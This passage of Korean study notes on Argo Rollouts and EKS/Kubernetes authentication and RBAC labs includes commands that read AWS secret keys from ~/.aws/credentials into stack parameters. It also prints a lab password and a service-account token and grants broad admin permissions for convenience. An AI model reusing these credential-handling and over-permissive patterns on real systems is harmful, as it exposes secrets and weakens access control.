NAME              CLUSTER                         NAMESPACE  PROJECT  STATUS     HEALTH   SYNCPOLICY  CONDITIONS  REPO                                                 PATH       TARGET
argocd/guestbook  https://kubernetes.default.svc  default    default  OutOfSync  Missing  <none>      <none>      https://github.com/argoproj/argocd-example-apps.git  guestbook

 

또한 Sync도 가능하다.

#
argocd app get guestbook
...

# 모니터링
watch -d kubectl get pod,svc,ep

#
argocd app sync guestbook

 

ArgoCD로 배포한 앱을 삭제해보자.

argocd app delete guestbook
Are you sure you want to delete 'guestbook' and all its resources? [y/n] y

# ns default 로 변경
kubectl ns default

 

Argo Rollouts이란 것도 있다. Argo Rollouts는 Kubernetes에서 Blue-Green 및 Canary 배포 전략 등 고급 deployment 전략을 제공하는 Kubernetes Controller라고 한다.

 

Argo Rollouts를 설치해보자. Helm 차트로 설치해본다. (관련 내용: 링크)

#
cat <<EOT > argorollouts-values.yaml
dashboard:
  enabled: true
  ingress:
    enabled: true
    ingressClassName: alb
    hosts:
      - argorollouts.$MyDomain
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/backend-protocol: HTTP
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":80}, {"HTTPS":443}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT

kubectl create ns argo-rollouts
helm install argo-rollouts argo/argo-rollouts --version 2.35.1 -f argorollouts-values.yaml --namespace argo-rollouts

# 확인
kubectl get all -n argo-rollouts
kubectl get crd | grep argo

 

Argo Rollouts CLI도 설치하자.

#
curl -LO https://github.com/argoproj/argo-rollouts/releases/download/v1.6.4/kubectl-argo-rollouts-linux-amd64
chmod +x ./kubectl-argo-rollouts-linux-amd64
mv ./kubectl-argo-rollouts-linux-amd64 /usr/local/bin/kubectl-argo-rollouts

# 설치 확인
kubectl argo rollouts version

 

Canary에 대해 실습을 진행해본다. 다음 전략에 해당한다.

spec:
  replicas: 5
  strategy:
    canary:
      steps:
      - setWeight: 20
      - pause: {}
      - setWeight: 40
      - pause: {duration: 10}
      - setWeight: 60
      - pause: {duration: 10}
      - setWeight: 80
      - pause: {duration: 10}

 

Rollout 및 서비스를 배포해보자.

# Run the following command to deploy the initial Rollout and Service:
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/rollout.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/service.yaml

 

 

현재 blue에 해당하는 5개 파드가 실행 중인 상황에 있다. 이제 yellow 버전에 대해 rollout을 동작시켜보도록 하자.

 

kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow

 

20%가 진행되었고 멈추어 있는 단계이다. 웹 페이지에서 "Promote" 버튼을 클릭하거나 CLI에서 "kubectl argo rollouts promote rollouts-demo"라고 입력해도 된다. 그러면 다음 과정이 진행되었다가 10초 후 멈추고 그 다음 과정을 계속 진행하는 식으로 동작할 것이다.

 

이번 역시 실습 완료 후에 자원을 삭제하는 것을 꼭 잊지 말도록 하자.

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. 실습 환경 배포 & 소개

이번 보안을 스터디하는 시간에는 실제 인증 및 인가를 주로 스터디하였고, 실습시 2개의 Bastion VM을 사용하는 환경이다. 2명의 DevOps 엔지니어가 각각 다른 작업용 EC2를 사용한다고 가정하여 진행하는 점을 참고하자.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick5.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick5.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

기본 설정을 다음과 같이 진행하고

# default 네임스페이스 적용
kubectl ns default

# 노드 정보 확인 : t3.medium
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=sdndev.link
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml

# 노드 IP 확인 및 PrivateIP 변수 지정
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.200/32

# 워커 노드 SSH 접속
for node in $N1 $N2 $N3; do ssh -o StrictHostKeyChecking=no ec2-user@$node hostname; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node hostname; done

 

프로메테우스 및 그라파나 역시 지난 실습과 비슷하게 준비를 하였다.

# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성 : PV/PVC(AWS EBS) 삭제에 불편하니, 4주차 실습과 다르게 PV/PVC 미사용
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator
  defaultDashboardsEnabled: false

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
kubectl create ns monitoring
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.2.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# Metrics-server 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e "Prometheus Web URL = https://prometheus.$MyDomain"

# 그라파나 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

 

EC2 배포된 결과

 

터미널 준비 완료 (bastion 2 VM은 EC2 콘솔에서 IP 주소를 확인하여 접속)

 

1. K8s 인증/인가

EKS 인증/인가를 살펴보기 전에 먼저 Kubernetes에서의 인증 (Authentication) 및 인가 (Authorization)을 살펴보고자 한다.

 

쿠버네티스에서 인증 및 인가는 다음 과정을 통해 진행이 이루어진다고 한다.

 

Admission 컨트롤러에서 인증이 이루어지는 단계 (출처: https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/ )

 

세부적인 Mutating 및 Validating admission 등 단계도 있으나 크게 보면 "인증(Authentication) → 인가(Authorization) → Admission Control" 순서로 진행이 이루어진다고 보면 되겠다. 인증이 이루어지는 방식은 API 뿐만 아니라 서비스 계정 (Service Account), 대시보드, Kubectl 등을 이용한 방식을 지원하며 X.509 클라이언트 인증서가 실제 어떻게 활용되는지 뒤 실습에서 살펴본다. 그리고 인가에 대해서는 RBAC (Role, RoleBinding) 및 ABAC, Webhook, Node Authorization 방식을 지원하는데, 이번 실습에서는 RBAC에 대해 확인을 해 보았다.

 

쿠버네티스 인증 과정 (출처: https://kubetm.github.io/k8s/07-intermediate-basic-resource/authentication/ )

 

CLI에서 설정 파일로 존재하는 파일명이 바로 .kube/config 이다. 해당 파일을 열어 살펴보면 API 서버 접속 정보 목록이 나열된 "clusters", 쿠버네티스 API 서버에 접속하기 위한 사용자 인증 정보 목록이 나열된 "users", 클러스터 항목과 사용자 항목에 정의된 값을 조합해 최종적으로 사용할 쿠버네티스 클러스터 정보(컨텍스트)를 설정하고자 나열된 "contexts" 항목이 있는 것을 확인할 수 있다. 

 

이번 실습 환경은 dev-k8s 및 infra-k8s 2개의 서비스 계정 (Service Account)로 나뉘어 있는 상황을 가정하여 별도로 네임스페이스를 사용할 때 역할 및 역할 바인딩을 구분하는 상황을 가정하여 실습한다.

 

먼저 네임스페이스와 서비스 계정을 생성 후 확인해보자.

# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team

# 네임스페이스 확인
kubectl get ns

# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team

# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh

kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh

 

 

dev-k8s 서비스 계정에 대한 토큰 정보를 확인해보았다. 참고로 Kubernetes 1.24 이상부터는 secret이 자동 생성되지 않기에 (관련 정보: 안승규님 DevOcean 블로그 내용) 수동으로 생성하여 확인해보았으며 jwt.io 사이트에서 토큰에 대한 정보를 쉽게 확인할 수 있었다. # 이후에 있는 부분이 명령어이고 그 결과를 아래에 붙여보았다.

# kubectl get secret -n dev-team
No resources found in dev-team namespace.

# cat <<EOF | kubectl apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: dev-k8s
>   namespace: dev-team
>   annotations:
>     kubernetes.io/service-account.name: dev-k8s
> type: kubernetes.io/service-account-token
> EOF
secret/dev-k8s created

# kubectl get secret -n dev-team
NAME      TYPE                                  DATA   AGE
dev-k8s   kubernetes.io/service-account-token   3      49s

# DevToken=$(kubectl get secret -n dev-team dev-k8s -o jsonpath="{.data.token}" | base64 -d)

# echo $DevToken
eyJhbGciOiJSUzI1NiIsImtpZCI6InMwM1BYTDBhRUJEQW5meUN3MzdCanhmUkpESEExM0xuQ0lNRVJpZjhkb2MifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZXYtdGVhbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkZXYtazhzIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImRldi1rOHMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI2OTU3MTYxZC03MTE3LTQ5NTYtYjQ4ZS01MDcwOTI2ZmM1ZGUiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGV2LXRlYW06ZGV2LWs4cyJ9.hd6C18QaiOVlKdGn1qyZPClou3z-WA3LwYDNXjHyuN7z7ECzpCJ5CiZNIvLN5O1MEuOo301wv-jW0Fh5Z423alEHDbWo3QzHsaSR_RmHM8s6QVpAtuSElUYutkOkoU30fXyyRnqQcx-8b4DqWFhqopzCliYDfERVxWmKvbliKYxmbntQ8eAPrpd-V554R-KLRoabLjcNLZabEDpG_vuoENo1ghG1FqgDz9vSszigRqSxlhiy4TU_kPij12GlC6y1ZB35ZLFxIZ3dQ84ClHh4nDk5Dwpw5rq72ONtT8JFYIUmAnEScpMlY_Q1OvJlnjFePrhwq8Nc2bH_Yp2ywpOwfQ

 

 

그 다음에 서비스 어카운트 (계정)을 지정하여 파드 생성 후 권한을 테스트한다.

 

# 각각 네임스피이스에 kubectl 파드 생성 - 컨테이너이미지
# docker run --rm --name kubectl -v /path/to/your/kube/config:/.kube/config bitnami/kubectl:latest
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: dev-kubectl
  namespace: dev-team
spec:
  serviceAccountName: dev-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: infra-kubectl
  namespace: infra-team
spec:
  serviceAccountName: infra-k8s
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl:1.28.5
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
kubectl get pod -o infra-kubectl -n infra-team -o yaml

# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl exec -it dev-kubectl -n dev-team -- ls /run/secrets/kubernetes.io/serviceaccount
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/namespace
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/ca.crt

 

토큰 정보를 확인하니 이전에 secret을 만들어서 확인한 토큰 정보와는 조금 다른 점도 확인할 수 있었다. (OIDC 등 정보가 더 보인다)

 

그리고 k1, k2 alias를 만들고 손쉽게 권한 테스트를 해보자. 아직은 별다른 권한을 주지 않았기에 당연히 실행 권한이 없을 것이다.

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods # kubectl exec -it dev-kubectl -n dev-team -- kubectl get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system

k2 get pods # kubectl exec -it infra-kubectl -n infra-team -- kubectl get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system

# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
no

 

그러면 이제 각각 네임스페이스에 롤 (Role)을 생성한 다음에 서비스 어카운트를 바인딩해보자.

# 각각 네임스페이스내의 모든 권한에 대한 롤 생성
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-dev-team
  namespace: dev-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-infra-team
  namespace: infra-team
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

# 롤 확인 
kubectl get roles -n dev-team
kubectl get roles -n infra-team
kubectl get roles -n dev-team -o yaml
kubectl describe roles role-dev-team -n dev-team
...
PolicyRule:
  Resources  Non-Resource URLs  Resource Names  Verbs
  ---------  -----------------  --------------  -----
  *.*        []                 []              [*]

# 롤바인딩 생성 : '서비스어카운트 <-> 롤' 간 서로 연동
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-dev-team
  namespace: dev-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-dev-team
subjects:
- kind: ServiceAccount
  name: dev-k8s
  namespace: dev-team
EOF

cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: roleB-infra-team
  namespace: infra-team
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: role-infra-team
subjects:
- kind: ServiceAccount
  name: infra-k8s
  namespace: infra-team
EOF

# 롤바인딩 확인
kubectl get rolebindings -n dev-team
kubectl get rolebindings -n infra-team
kubectl get rolebindings -n dev-team -o yaml
kubectl describe rolebindings roleB-dev-team -n dev-team
...
Role:
  Kind:  Role
  Name:  role-dev-team
Subjects:
  Kind            Name     Namespace
  ----            ----     ---------
  ServiceAccount  dev-k8s  dev-team

 

이렇게 Role 및 RoleBinding을 잘 완료한 다음에 다시 권한 테스트를 해보도록 하자. 개발팀, 인프라팀 각각에 해당하는 네임스페이스에 대해서만 권한을 주는 것으로 role에 설정이 이루어졌기에 kube-system 네임스페이스 및 및 node를 조회하는 권한이 없는 것을 확인해보았다.

 

# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'

# 권한 테스트
k1 get pods 
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes

k2 get pods 
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes

 

실습을 완료하였다면 네임스페이스를 지우도록 하자: "kubectl delete ns dev-team infra-team"

2. EKS 인증/인가

그렇다면 이제부터는 EKS에서 인증 및 인가가 어떻게 동작하는지 살펴보도록 하자. 인증은 AWS IAM을 통해, 인가는 K8s RBAC을 통해 동작을 한다.

EKS 인증 및 인가 동작 (출처: https://kimalarm.tistory.com/65 )

 

관련 부분을 쉽게 살펴보기 위해 krew 플러그인을 설치하여 확인해보도록 하자.

 

# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami

# k8s 인증된 주체 확인
kubectl whoami
arn:aws:iam::9112...:user/admin

# Show an RBAC access matrix for server resources
kubectl access-matrix # Review access to cluster-scoped resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'

# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup
kubectl rbac-tool lookup system:masters
  SUBJECT        | SUBJECT TYPE | SCOPE       | NAMESPACE | ROLE
+----------------+--------------+-------------+-----------+---------------+
  system:masters | Group        | ClusterRole |           | cluster-admin

kubectl rbac-tool lookup system:nodes # eks:node-bootstrapper
kubectl rbac-tool lookup system:bootstrappers # eks:node-bootstrapper
kubectl describe ClusterRole eks:node-bootstrapper

# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules
kubectl rbac-tool policy-rules -e '^system:.*'
kubectl rbac-tool policy-rules -e '^system:authenticated'

# Generate ClusterRole with all available permissions from the target cluster
kubectl rbac-tool show

# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami
{Username: "arn:aws:iam::911283...:user/admin",      <<-- 과거 "kubernetes-admin"에서 변경됨
 UID:      "aws-iam-authenticator:911283.:AIDA5ILF2FJI...",
 Groups:   ["system:authenticated"],                 <<-- 과거 "system:master"는 안보임
 Extra:    {accessKeyId:  ["AKIA5ILF2FJI....."],
            arn:          ["arn:aws:iam::9112834...:user/admin"],
            canonicalArn: ["arn:aws:iam::9112834...:user/admin"],
            principalId:  ["AIDA5ILF2FJI...."],
            sessionName:  [""]}}

# Summarize RBAC roles for subjects : ServiceAccount(default), User, Group
kubectl rolesum -h
kubectl rolesum aws-node -n kube-system
kubectl rolesum -k User system:kube-proxy
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated
Policies:
• [CRB] */system:basic-user ⟶  [CR] */system:basic-user
  Resource                                       Name  Exclude  Verbs  G L W C U P D DC  
  selfsubjectaccessreviews.authorization.k8s.io  [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
  selfsubjectreviews.authentication.k8s.io       [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
  selfsubjectrulesreviews.authorization.k8s.io   [*]     [-]     [-]   ✖ ✖ ✖ ✔ ✖ ✖ ✖ ✖   
• [CRB] */system:discovery ⟶  [CR] */system:discovery
• [CRB] */system:public-info-viewer ⟶  [CR] */system:public-info-viewer

# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view
INFO[0000] Getting K8s client
INFO[0000] serving RBAC View and http://localhost:8800

## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨) 
echo -e "RBAC View Web http://$(curl -s ipinfo.io/ip):8800"

 

 

(가져오는 양이 많아 아무래도 시간이 조금 소요되는 것 같다)

 

EKS 인증 및 인가를 보다 자세히 확인해보도록 하자. 구체적인 과정은 아래 그림을 참고하도록 하자.

(출처: https://youtu.be/bksogA-WXv8?t=670 )

 

(출처: https://devlos.tistory.com/75 )

 

# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::<자신의 Account ID>:user/admin"

# kubeconfig 정보 확인
cat ~/.kube/config | yh
...
- name: admin@myeks.ap-northeast-2.eksctl.io
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - eks
      - get-token
      - --output
      - json
      - --cluster-name
      - myeks
      - --region
      - ap-northeast-2
      command: aws
      env:
      - name: AWS_STS_REGIONAL_ENDPOINTS
        value: regional
      interactiveMode: IfAvailable
      provideClusterInfo: false

# Get  a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help

# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'

 

 

쿠버네티스 RBAC 인가 처리를 살펴보도록 하자. 우선 인증 및 인가 다음에 있는 mutating 및 validating webhook을 살펴보고 aws-auth 컨피그맵 및 EKS 설치한 IAM User 정보 등을 살펴본다.

# Webhook api 리소스 확인 
kubectl api-resources | grep Webhook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
NAME                                        WEBHOOKS   AGE
eks-aws-auth-configmap-validation-webhook   1          50m
vpc-resource-validating-webhook             2          50m
aws-load-balancer-webhook                   3          8m27s

kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# aws-auth 컨피그맵 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
apiVersion: v1
kind: ConfigMap
metadata: 
  name: aws-auth
  namespace: kube-system
data: 
  mapRoles: |
    - groups:
      - system:bootstrappers
      - system:nodes
      rolearn: arn:aws:iam::91128.....:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-1OS1WSTV0YB9X
      username: system:node:{{EC2PrivateDNSName}}
#---<아래 생략(추정), ARN은 EKS를 설치한 IAM User , 여기 있었을경우 만약 실수로 삭제 시 복구가 가능했을까?---
  mapUsers: |
    - groups:
      - system:masters
      userarn: arn:aws:iam::111122223333:user/admin
      username: kubernetes-admin

# EKS 설치한 IAM User 정보 >> system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami
{Username: "kubernetes-admin",
 UID:      "aws-iam-authenticator:9112834...:AIDA5ILF2FJIR2.....",
 Groups:   ["system:masters",
            "system:authenticated"],
...

# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin
Name:         cluster-admin
Labels:       kubernetes.io/bootstrapping=rbac-defaults
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
Role:
  Kind:  ClusterRole
  Name:  cluster-admin
Subjects:
  Kind   Name            Namespace
  ----   ----            ---------
  Group  system:masters

# cluster-admin 의 PolicyRule 확인 : 모든 리소스  사용 가능!
kubectl describe clusterrole cluster-admin
Name:         cluster-admin
Labels:       kubernetes.io/bootstrapping=rbac-defaults
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
PolicyRule:
  Resources  Non-Resource URLs  Resource Names  Verbs
  ---------  -----------------  --------------  -----
  *.*        []                 []              [*]
             [*]                []              [*]

# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged

 

 

그리고 데브옵스 신입사원 (testuser)에 대한 설정을 해보도록 하자. 먼저 testuser 사용자를 생성한다.

 

# testuser 사용자 생성
aws iam create-user --user-name testuser

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser
{
    "AccessKey": {
        "UserName": "testuser",
        "AccessKeyId": "AKIA5ILF2##",
        "Status": "Active",
        "SecretAccessKey": "TxhhwsU8##",
        "CreateDate": "2023-05-23T07:40:09+00:00"
    }
}
# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser

# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/admin"

kubectl whoami

# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

 

그리고 bastion 2에서 testuser 자격증명을 aws configure 명령어로 준 다음에 확인해보자. 처음에는 aws configure로 권한을 주지 않아 get-caller-identity 결과가 없는 것이로 kubectl 결과는 .kube/config 파일이 없기 때문에 그렇다.

 

# get-caller-identity 확인 >> 왜 안될까요?
aws sts get-caller-identity --query Arn

# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....
Default region name [None]: ap-northeast-2

# get-caller-identity 확인
